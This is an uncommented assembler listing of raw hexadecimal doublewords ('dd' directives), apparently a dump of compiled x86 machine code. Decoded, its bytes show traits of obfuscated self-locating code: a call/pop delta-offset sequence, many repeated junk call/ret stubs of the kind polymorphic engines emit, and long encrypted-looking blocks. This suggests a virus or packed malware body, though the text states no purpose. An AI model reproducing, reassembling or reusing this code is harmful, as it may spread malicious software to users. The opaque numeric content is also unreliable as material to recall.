310F6569h dd 0B0BF5250h, 0F7BB0A8h, 0C41ABF31h, 585A51DDh, 489585Ah dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 542CF14Fh, 0FB8B7936h, 6ADC8Ah, 2B398D89h dd 6A07FAh, 7EF789BFh, 0D98B664Fh, 2BE995FFh, 0BF0F07FAh dd 118D8DFEh, 0F07FDD7h, 689h, 219D8B00h, 0FF07FA2Ch, 0AE9D1h dd 0F1BC0000h, 0D56564A3h, 0F88AED87h, 83F98B66h, 0FA33EDBDh dd 850F0107h, 54h, 3B7026Ah, 0DA8B6690h, 0BF669050h, 95FFD3E3h dd 7FA1C95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 1EC35343h, 0A485B9CCh, 0E8633BAEh, 0Bh, 73C3FA63h dd 4FC9308Bh, 0FF02D77h, 68Bh, 6D9D8B00h, 5B07FA20h, 0D37E9h dd 0E800h, 815D0000h, 0FF57D5EDh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 10E903h, 0DCD10000h dd 0C374A2B0h, 0BBAC6505h, 34B9BD4Eh, 858DDDB9h, 7FDB959h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0B0C35141h dd 0EFFFB531h, 0A19D8BCFh, 9007FA2Bh, 0FE95250h, 7000000h dd 0CD6D934Ah, 0BC68A25Ch, 1D3D3CEAh, 310FC628h, 5FE1B351h dd 9050585Ah, 1718589h, 0FF6407FAh, 35h, 25896400h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C1C35747h dd 0B5890D4Ah, 7FA0D2Dh, 91BD23h, 85FF07FAh, 7FA1049h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 29C35646h dd 0EC4113F4h, 0EC8DECFEh, 0B5FFFF6Ah, 7FA0EEDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h, 95FFC3AFh dd 7FA2875h, 118E9h, 859D8900h, 0B007FA15h, 0BD8B5300h dd 7FA2901h, 6070E65Fh, 6840Fh, 9D8B0000h, 7FA0FA5h, 8B71E461h dd 0FA27F1BDh, 0F613C07h, 0E883h, 0C8B60F00h, 1F819D8Bh dd 6BA07FAh, 8B000000h, 0FA30E5BDh, 60C18B07h, 68B0Fh dd 0B58B0000h, 7FA1C59h, 4E8C161h, 66DF8B66h, 9D8BE2F7h dd 7FA2D75h, 1E49BD89h, 0C82B07FAh, 0D359589h, 0D18B07FAh dd 277D9529h, 0BB6607FAh, 96E97FA7h, 8B000000h, 47554C85h dd 83FA8B49h, 0DE907C0h, 4D000000h, 85901AD8h, 1C4BB705h dd 1F288C78h, 7E9h, 73C67700h, 0CAEF143Ch, 0E900C083h dd 0Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 959509A1h, 3B07FA2Ch dd 1D830FD0h, 8B000000h, 0FA317D9Dh, 0FD9D8B07h, 0E907FA15h dd 39h, 0EC9BD8Bh, 0BD8B07FAh, 7FA1719h, 0FFFF8D8Bh, 0E183FFFFh dd 1E840F01h, 66000000h, 8036C781h, 0FFFFA583h, 0BFFEFFFFh dd 31175C76h, 554C9589h, 0DE8A4947h, 0E9h, 2FB58D00h, 6A07FEDAh dd 4FBB6600h, 899D8983h, 0FF07FA26h, 0FA101995h, 0EF805707h dd 9FB95B2Fh, 6A00000Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 359CC350h, 5382F52Ah dd 967DDCCCh, 0BDB589F8h, 8B07FA16h, 0FCE183F8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h, 1BE75084h dd 0D8D89B9h, 0FC07FA0Bh, 399F35BBh, 29C02B51h, 0FA345D9Dh dd 6AD22B07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 4028C355h, 564F2202h, 1659D09h dd 9D8907FAh, 7FA1BF9h, 2A758509h, 33AD07FAh, 3E8D1C2h dd 4E983D0h, 0FFBBF475h, 894EFA6Fh, 0FA350185h, 880D07h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 69C60DC3h, 8DFB5228h, 81D9A591h, 215CBCF7h dd 0D9958B24h, 8B07FA1Ch, 0FA08B5BDh, 0AD8D8B07h, 0F07FA31h dd 88Fh, 0DB815600h, 2E6E9575h, 0C28B505Fh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6ADA8Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F3AB69C3h, 83959DC1h, 0FA2A29BDh, 840F0007h, 35h, 6820Fh dd 85290000h, 7FA053Dh, 0B8h, 8D8DF800h, 7FA4F66h, 6800Fh dd 85890000h, 7FA17B1h, 2DC4EF81h, 0E1FF36C5h, 3870Fh dd 0BF0F0000h, 0D9BD83F9h, 7FA2Bh, 50C840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A8C983C3h, 800F2D04h, 0BF663ADBh, 0BD836EA8h, 7FA2BD9h dd 0F2840F01h, 0BF000004h, 0E7B30BAh, 2BD9BD83h, 0F0307FAh dd 4AA86h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0E70E2A04h, 0D82BDEB9h, 9D8B3FD8h dd 7FA00B5h, 0BE960h, 0BE390000h, 92D3A9B8h, 2CB6800Bh dd 0F606053h, 8B66C3B7h, 8D8B61F1h, 7FA16E9h, 0D98C6661h dd 38812DBFh, 4E1801Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 7BC35141h, 0C90AF5D4h, 1A1840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9E90FC3h, 0B8000000h, 51F090BFh, 0FD232689h, 0DF8BFC8Ah dd 0FE9858Bh, 8E807FAh, 4A000000h, 0DE6A8FF7h, 89BA4F56h dd 0FA16C19Dh, 0DE8A5F07h, 15E18533h, 6A07FAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0DCF3D8C3h, 0BE9D2DAh, 5D000000h, 0B2A909BCh, 4DC0776Ch dd 8166BFE0h, 90FBA4DBh, 0BE9h, 0B54E4300h, 0A9CE6E66h dd 8E59BA19h, 0BE95150h, 5D000000h, 0FA8CA1Ch, 8F7E3FC4h dd 905F006Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0CC35040h, 0E738CECFh, 6A5F57B3h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A8528FEFh, 0F3BBED27h, 2B1AFD15h, 0FA07B59Dh, 0F1BE6807h dd 0D98B0BD9h, 41243481h, 660BC6F2h, 95FFFA8Bh, 7FA1CE9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h dd 0E000AE9Bh, 68C60A68h, 8589FC8Ah, 7FA07E5h, 0EB968589h dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 5138C8C3h, 9B0BAB81h, 0ADBD8B83h, 0E907FA1Ch dd 231h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0E6C35545h, 0F98CFE8Ch, 68F0Fh, 95310000h, 7FA1051h dd 8BFBBF0Fh, 0FDEB8E85h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 894E94DBh dd 0FA2105BDh, 1800C707h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0AB90C352h dd 0DFF2348h, 8589519Ch, 7FA089Dh, 92B58B5Fh, 8B07FDEBh dd 0FA15099Dh, 9DBD8907h, 8B07FA0Bh, 0FA0D5185h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 71207969h, 0FDA8B66h, 689h, 919D8B00h, 8907FA0Ch, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5BA0A118h, 8BF8C3F9h, 0FA225DBDh, 0E9858B07h, 0F907FA0Fh dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 16BC350h, 0A159B7F3h, 0FC2D8217h dd 2569BD8Bh, 9D2907FAh, 7FA1D51h, 0A2BF6650h, 24348914h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 62C35747h dd 0DC4570C6h, 9D313EE4h, 7FA2575h, 287D9D01h, 0B5FF07FAh dd 7FDEB8Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 11C35141h, 0E8F78103h, 682C75D2h, 9F4151EAh, 81F88B66h dd 0B2152404h, 6A60DDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 7F6E99C3h, 0CEC791h, 9BD23C0h, 8D07FA1Fh dd 0FDEB9685h, 55958907h, 5007FA08h, 7D87BB66h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 3778C357h, 0A57D2577h, 3CFF8C3Dh, 0E995FFF5h dd 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 772AC351h, 0F713229Eh, 0B70F0B5Eh dd 6A61FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 85C7B3C3h, 7FA2BD9h, 3, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0B2C35343h, 0BD838681h, 7FDEB96h dd 38840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 0E962C352h, 32h, 2DF99D8Bh, 0CE907FAh, 64000000h dd 1720AF19h, 0D6C09A3Bh, 506C0598h, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0F88BC08Bh, 8B66FA8Ah dd 0D9BD83DFh, 307FA2Bh, 3DD850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0EB15F3C3h dd 0ED858944h, 8307FA01h, 0FDEB96BDh, 840F0007h, 3ABh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 7CC35242h dd 6B5652C5h, 0F8B70FB9h, 8BDFB70Fh, 0FA14B9BDh, 96B5FF07h dd 8107FDEBh, 45EBA9DFh, 4595FF6Ch, 6607FA27h, 8B1AE8BFh dd 0FDEB8AB5h, 0BF0F5307h, 6C75BFBh, 10001h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0B5C35242h, 14E98Fh dd 2D630000h, 0F1C1004h, 59816F88h, 5BF3E5BBh, 4328B0C2h dd 8B96D768h, 6A9650DFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FF21C350h, 0FDEB96B5h dd 619D8B07h, 0FF07FA08h, 0FA18E195h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 89B81E6Bh, 9228A9EFh, 9D8B81C2h, 7FA2CA5h, 8B59BF66h dd 0EB8AB58Bh, 820F07FDh, 4, 2C80BB66h, 1C7D858Bh, 6A07FAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8589F0C3h, 7FA02E1h, 8B59D8Bh, 868907FAh, 0C4h, 8DB58B60h dd 6607FA20h, 3157CB81h, 0D9958B61h, 307FA1Ch, 0FA35399Dh dd 4C28307h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 57C35343h, 0E22AF003h, 0BD8BF89Dh, 7FA0E01h, 23205089h dd 0FA1859BDh, 0F7858D07h, 6A07FDFEh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 793FC357h dd 2BF2B6AEh, 0D8F4E05Ch, 2C1B501h, 0BF0F07FAh, 0B88689DAh dd 9000000h, 0FA01F1B5h, 6A006A07h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 926CC356h dd 94D6647Eh, 0EB96B5FFh, 853107FDh, 7FA0AC1h, 1C9595FFh dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 8531E6C3h, 7FA01A1h, 20F9BD8Bh, 0E99607FAh dd 11h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h, 0D582AF4Bh dd 0F6050BEh, 585h, 1A02BF00h, 966172FBh, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0CC35343h, 0B5FFB5AAh dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0DEC35040h, 291DBD8Bh, 0D78007FAh, 9595FFF8h, 8907FA1Dh dd 0FA14A195h, 31BD8307h, 7FA01h, 24840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 5098AAC3h, 66243489h, 0B5FFDF8Bh, 7FDEB96h, 2BA18D01h dd 95FF07FAh, 7FA1CB5h, 96B5FFF8h, 107FDEBh, 0FA0FEDBDh dd 0AD95FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 8F55C357h, 78D56CD8h dd 41BD012Fh, 8A07FA2Ch, 21BD83FCh, 207FA22h, 5A840Fh dd 0B70F0000h, 15858BD9h, 6A07FA16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0CBA1C351h dd 1C4647A7h, 88801D65h, 6A0000C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 747BC353h dd 2960B83Ah, 0FA21D59Dh, 61D08A07h, 16DD85C7h, 7FAh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 60C344C3h, 8A561CB7h, 0E9615FC5h, 0FFFFF3D4h, 298D9529h dd 5E907FAh, 75000000h, 3A870CAFh, 9D8BC18Bh, 7FA1C45h dd 0BE8h, 169E4300h, 6A497420h, 4C715108h, 12E9h, 71D0200h dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 5AFAE3B8h, 74C281F9h dd 50000065h, 58DEBF0Fh, 9D29C933h, 7FA1679h, 0E90A3C8Bh dd 14h, 96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h, 7E8F4B88h dd 485FF781h, 95314835h, 7FA2261h, 1EE8C781h, 858B4122h dd 7FA3515h, 0D322C781h, 0B589650Ch, 7FA0E59h, 8B0A3C89h dd 0FA23D99Dh, 0B5B58907h, 8307FA33h, 494901E9h, 0C9BD8949h dd 8107FA14h, 0FF9B50F9h, 16850FFFh, 29000000h, 0FA16C18Dh dd 1FE907h, 4C350000h, 0D2D8D54Ch, 0E6AD53B9h, 0E9C78B04h dd 0FFFFFF7Ch, 1C80F15Bh, 5493E39Fh, 8F46C84Fh, 0FD8D8D43h dd 6A07FF66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0E2C4C351h, 0F610727h, 0B70FC7B7h dd 0D98D89D7h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 73D5C356h, 17D451F5h dd 85C7C07Fh, 7FA31ADh, 6248h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 72C35646h, 85B2F8B0h, 31E475EFh dd 0EE9h, 51FC2C00h, 25624BFDh, 0B029467Ah, 0C725CFC9h dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8B8F7751h, 0FA33E995h dd 6DB5FF07h, 6A07FA2Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CA4C356h, 0DFF6ACEAh dd 8166F78Ah, 0FFA9FBC2h, 0FA179995h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0ED0C7D22h, 0CE3219B1h, 0ADBD0985h, 6A07FA07h, 1995FF00h dd 8B07FA10h, 620AEBC0h, 0DC4570C6h, 166E3EE4h, 7C8D8DF0h dd 8907FF67h, 0FA25A985h, 0D98D8907h, 8907FA1Ch, 0FA18718Dh dd 0AD85C707h, 407FA31h, 0C700005Bh, 0FA2BD985h, 7, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EAE7A9C4h, 0F5BD89h, 0BF0F07FAh, 0EDB5FFDFh, 0F07FA0Eh dd 95FFC0B7h, 7FA1799h, 1659D8Bh, 6A07FAh, 101995FFh, 0C08B07FAh dd 4EEB5DEBh, 0BF724BEDh, 0C21AE6Ah, 0F53FA171h, 0BF08E885h dd 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh dd 0BD9E786Eh, 5BCA4149h, 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h dd 0E54CFCD9h, 7382D57Eh, 27BD04B8h, 0C6FCCB68h, 1AF848FAh dd 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 8D8546AEh, 0FF68BE8Dh dd 0FE807h, 0D4400000h, 7D16E5B4h, 0BB79D298h, 6C8967C5h dd 7E8B4h, 29840000h, 3A045F96h, 0D9BF0F28h, 8D895F5Ah dd 7FA1CD9h, 0CE9h, 9F2DD400h, 0AEC1328Ah, 0D25BA30Eh dd 0AD85C7CAh, 3807FA31h, 6A000064h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3A0FC355h dd 8A597E81h, 0C3B70FACh, 68D0Fh, 958B0000h, 7FA0D79h dd 2BD985C7h, 7FAh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 587C7EC3h dd 0C891E620h, 9531F5E8h, 7FA2741h, 2515B5FFh, 0F6007FAh dd 0F88h, 9E800h, 916C0000h, 78F00116h, 58864A00h, 9995FF61h dd 6607FA17h, 4ABEC381h, 95FF006Ah, 7FA1019h, 8EBC08Bh dd 3AE4A8A9h, 1CF20108h, 6025D11Ch, 3025B8D6h, 0F37D9B1Fh dd 146132D7h, 14613AC3h, 3025AFE7h, 0F375FBF1h, 56EC08A3h dd 0BB0679C5h, 6025D1FEh, 3025B8F7h, 0F37D9B8Fh, 1461329Fh dd 14613AE7h, 3025A7F5h, 0F375FBF8h, 0B25B3304h, 0F7A4EEF0h dd 0FD9838E1h, 302241A5h, 8DA6B2B2h, 37DFA37Ah, 603CCFF1h dd 88E530ABh, 3025BF7Fh, 10EC3EB7h, 0ADA8BCE5h, 37D959ABh dd 687E6838h, 28BC0660h, 4425BC0Bh, 8876EBEFh, 3025BF7Fh dd 10EC3EB7h, 0ADA8BCE5h, 37D9649Ch, 687E6838h, 11CC2E6Ah dd 304FBC0Bh, 302653ADh, 6D05BB7Ch, 5CACE6FDh, 74A4BF3Bh dd 3033BFABh, 6560BBC7h, 41B61520h, 17B8067Ah, 0F0AEBC02h dd 0D877BB16h, 3025BB3Dh, 6AE6E13Fh, 3401EF06h, 3401FF46h dd 3025BBFFh, 0EFE6E9B3h, 0E9EF9442h, 9A54FD4h, 0D9FD3758h dd 3025BB10h, 6EDEAE8Ch, 2FB848E0h, 8E1173CEh, 0B97E2D7Ch dd 0CA3BCA6Dh, 3F21137Bh, 3021BDBAh, 0F1A8301Fh, 0B32241A4h dd 0CA3D427Ah, 0B42ABBE4h, 3025BBC1h, 0D9EC0CF7h, 3025B897h dd 0D870BB54h, 3025BB1Ch, 6DE6E6AFh, 3401D74Eh, 3401FF62h dd 3025BBEBh, 85E6EEBDh, 0B0AC884Ch, 0ADAEE77Ah, 37DF935Ah dd 3002BB31h, 6625D1C5h, 3025B80Bh, 0F37B9BF1h, 145132A6h dd 14613A78h, 3025AC3Ah, 0F373FD1Fh, 25E166E8h, 0A45D01A1h dd 8D5B3E6Eh, 304FBC0Ch, 302653ABh, 6B05BB7Ch, 6CACE0FDh dd 74A4BF3Bh, 3039BFABh, 6366BBC7h, 893D3720h, 13E95348h dd 0E0DA93DBh, 0F0A041F7h, 30CC3F31h, 304FBB1Fh, 302653D9h dd 6E05BBC7h, 44ACE520h, 74A4BFD5h, 3031BFDCh, 6663BB7Ch dd 8A47AFDh, 0CBA4DD48h, 30763E80h, 304FBBC7h, 302653B1h dd 6A05BBF1h, 64ACE13Bh, 74A4BF58h, 303FBF1Ah, 6267BB1Fh dd 5104A64Ch, 790030E1h, 345D3A85h, 0B42AB9F3h, 3025B89Fh dd 0D877BB16h, 3025BB3Dh, 6AE6E13Fh, 3401EF06h, 3401FF46h dd 3025BBF9h, 4CE6E9B3h, 12F42294h, 0E1A50E40h, 8A4DD3Fh dd 0B52ADB83h, 3025BBECh, 0D875BBADh, 3025BBE0h, 68E6E3D1h dd 3401FF71h, 3401FFFDh, 3025BB2Ah, 0C9E6EB5Fh, 0D827C30Fh dd 30183EC8h, 8F43BBE3h, 0B1438DA1h, 9B25BD80h, 30083E73h dd 1376BB3Eh, 0CA28FE8Ah, 0C4CCE488h, 5A25BBC5h, 33CDECE3h dd 1025BBF1h, 0B97A78A7h, 0B1219F00h, 26219F7Ah, 7725BB1Fh dd 553278D8h, 8EFD3021h, 7624BAE3h, 0B977B540h, 0CA2B5E45h dd 0B5A8E47Bh, 37D80640h, 0D876BB75h, 3025BB8Ch, 6BE6E0E7h dd 3401E76Ah, 3401FF70h, 3025BBE2h, 5AE6E83Fh, 9071EDEBh dd 21CCA14Bh, 2D25BB8Fh, 9EA27BB6h, 41A00FD7h, 0C34D44A9h dd 99458B14h, 1F00067Dh, 2C9CBCC4h, 0CF286756h, 0C3A4DD5Fh dd 0F0A02505h, 32303FECh, 304FBBF1h, 302653A9h, 6905BB7Ch dd 7CACE2FDh, 74A4BF3Bh, 3030BFABh, 6164BBC7h, 0B98EBE20h dd 0CA276274h, 302A52FFh, 0F6D8BB7Ch, 1FCDF967h, 0F887C717h dd 0F2F4824Ch, 561D3AB9h, 3F27B9DEh, 3025E274h, 302053F8h dd 0F1EDBB7Ch, 0B94876DAh, 0CA3B928Ah, 0B143E488h, 0B1406235h dd 0D43BD9Bh, 0B42AC1AEh, 3025B9FFh, 0D870BB16h, 3025BB3Dh dd 6DE6E63Fh, 3401D706h, 3401FF46h, 3025BBF6h, 21E6EEB4h dd 30315251h, 9A02BB7Ch, 9064C4A0h, 82A629A4h, 0E7F38221h dd 5FBD2B90h, 0B143AC72h, 3F4527C9h, 3025357Dh, 6125D17Ch dd 3025B8D6h, 0F37C9B1Fh, 146932D6h, 14613AC3h, 3025A0E7h dd 0F374FAF1h, 19B96A33h, 0F3EFE242h, 37842E17h, 48A5BCE5h dd 0B52A538Dh, 3025BB9Ch, 11F8266Ah, 0B143BC0Bh, 0F025BD80h dd 306C3E73h, 304FBB3Eh, 3026534Eh, 6905BB8Fh, 7CACE204h dd 74A4BFC7h, 3030BFD5h, 6164BBF8h, 0D9CF25BFh, 3025BA61h dd 0D872BB75h, 3025BB8Ch, 6FE6E4E7h, 3401C76Ah, 3401FF70h dd 3025BBE4h, 35E6EC3Bh, 59E3242h, 0DABBD4E0h, 8E3E510Fh dd 4E24BAC7h, 0B5A86168h, 37D8068Fh, 3A8B049Eh, 8F2A6B83h dd 3FE53EC7h, 3025799Bh, 9A8B88Fh, 0B02241DFh, 0B52A53DBh dd 3025BBB4h, 4320C378h, 301E3E73h, 304FBB3Eh, 30265348h dd 6F05BB8Fh, 4CACE404h, 74A4BFC7h, 3038BFD5h, 6762BBF8h dd 0CB361DBFh, 0EAC663D2h, 0B04DC1E0h, 3F76BCF7h, 30256943h dd 5AE43AE3h, 1959E18Ch, 0CA2D9A75h, 8A4DD7Bh, 0B52ABEB1h dd 3025BB7Ch, 0D872BBE5h, 3025BBC4h, 6FE6E4C3h, 3401C778h dd 3401FF79h, 3025BB6Bh, 0BFE6EC79h, 0B00096F5h, 3F4DBDF7h dd 30258142h, 0E3A4DDE3h, 0B143DDBAh, 15DAB080h, 300C3E73h dd 304FBB3Eh, 30265348h, 6F05BB8Fh, 4CACE404h, 74A4BFC7h dd 3030BFD5h, 6762BBF8h, 62FC54BFh, 0D97F198Ch, 3025BB44h dd 88F330E9h, 3025BBC7h, 30283AECh, 38CCBBF1h, 5E25BBF8h dd 2DEEBC9Dh, 0D90EA8E8h, 3025BB59h, 0D872BBE5h, 3025BBC4h dd 6FE6E4C3h, 3401C778h, 3401FF79h, 3025BB65h, 0ACE6EC79h dd 49EB984h, 3036524Ch, 914EBBC7h, 83126FD2h, 0BB4CC0C5h dd 0E84E9C7Eh, 0A8CD4E64h, 88D43169h, 3025BB1Eh, 19102604h dd 0D975BC3Dh, 3025BBE5h, 3793C64Dh, 34AC67BEh, 0A1B0BA58h dd 0BD22412Ah, 0CF4D70A2h, 5EA83688h, 882244A9h, 4743EEC0h dd 2C243EF2h, 0FF0EBC02h, 24BAC78Eh, 0A861684Eh, 0D8068FB5h dd 8B049E37h, 2A6B833Ah, 0E53EC78Fh, 83799B3Fh, 0A4F305E9h dd 458D8B58h, 6A07FA29h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 1628C356h, 0BB38723Ah dd 0FA8B9DCAh, 840FC00Bh, 5Eh, 8DF98B66h, 0FA4F66B5h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0B0889AF3h, 0C18D89DEh, 0B807FA2Dh, 3, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 0EEC35141h, 1F250990h dd 0E6FF5525h, 5CB25053h, 0E840595Fh, 14h, 2EDCF01h, 1FE3CBCDh dd 0BE7388D3h, 209A1BB2h, 55B151C8h, 68B0Fh, 85890000h dd 7FA2EA1h, 6AC08B5Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 2146C351h, 0D1C7BFB4h dd 0BD831B9Fh, 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h dd 0C08B5350h, 403B8h, 81858900h, 8D07FA15h, 0FCE28B9Dh dd 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h, 403B8h, 81858900h dd 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h, 840F6058h, 5, 0EC88166h dd 0BE8E5h, 0A2C00000h, 9FA25DA4h, 48032F29h, 9E96Bh, 0A8580000h dd 0C1B9D08Dh, 5BF070EBh, 958B5161h, 7FA00F1h, 0C08BFC5Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C7C35646h dd 3EB96606h, 0FABA66D3h, 8E8610Eh, 53000000h, 24D1431Fh dd 6621F38Bh, 5FCE55BEh, 145D8501h, 0C78107FAh, 5D26h dd 33EBBB66h, 1728B8h, 0F8BF500h, 90C7BE66h, 1566F181h dd 81660430h, 81A8FEDBh, 18A21E9h, 0DF8B6638h, 0A854F181h dd 0B3515734h, 66078F9Fh, 83DBA5BBh, 9D3104EFh, 7FA2305h dd 1E881h dd 850F0000h, 0Eh, 0E93CDE80h, 21h, 99616A28h, 55B2FA3Ch dd 0FFFFADE9h, 0AC6E74FFh, 67E5E77Ah, 0AE33FF69h, 0E556C488h dd 0E8D37FA0h, 712ADE56h, 4B46D4D4h, 557F01DCh, 525CD4C8h dd 0B336398h, 2633A9A9h, 265AF198h, 2056EF5Eh, 4E603262h dd 0A5E4FFB4h, 6A6F867h, 0A3BEA162h, 21CEF045h, 0A3BA7967h dd 21C9D261h, 1706D71Bh, 29333262h, 2633831Dh, 96B6C098h dd 763459E8h, 5691D615h, 0D963AE67h, 0DC352D0Dh, 2664839Fh dd 23593598h, 56811F15h, 0AB634A67h, 0D943041Dh, 0B3CC039Fh dd 21C9B151h, 0A23C1493h, 26336AA1h, 5681B015h, 0CE639D67h dd 26334DAAh, 0A3BEF6D8h, 21CC2320h, 94B624C8h, 76342BE8h dd 2BF6FF67h, 0E2B03262h, 94B61794h, 7634B2E8h, 56912315h dd 0D9635467h, 0DC35500Dh, 26513D9Fh, 0AD666A98h, 74646474h dd 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh, 0D9C62C97h dd 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh, 0AD03A718h dd 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh dd 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h dd 0E7B85667h, 7F6C8EC6h, 2637A851h, 56938815h, 0ABBE9D67h dd 21CC3C4Dh, 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h dd 850F4904h, 0FFFFFFF2h, 71D5B58Dh, 8D8D07FFh, 7FF71F4h dd 0E983CF2Bh, 0E8C88B05h, 0Ch, 8353277Eh, 0A953B5FDh dd 0DB5CF494h, 58F88B66h, 0AC58589h, 0C08107FAh, 6C42h dd 1495958Bh, 0E06807FAh, 0E900001Ah, 11h, 0FA91E844h dd 417B8CF9h, 545F6684h, 217213Bh, 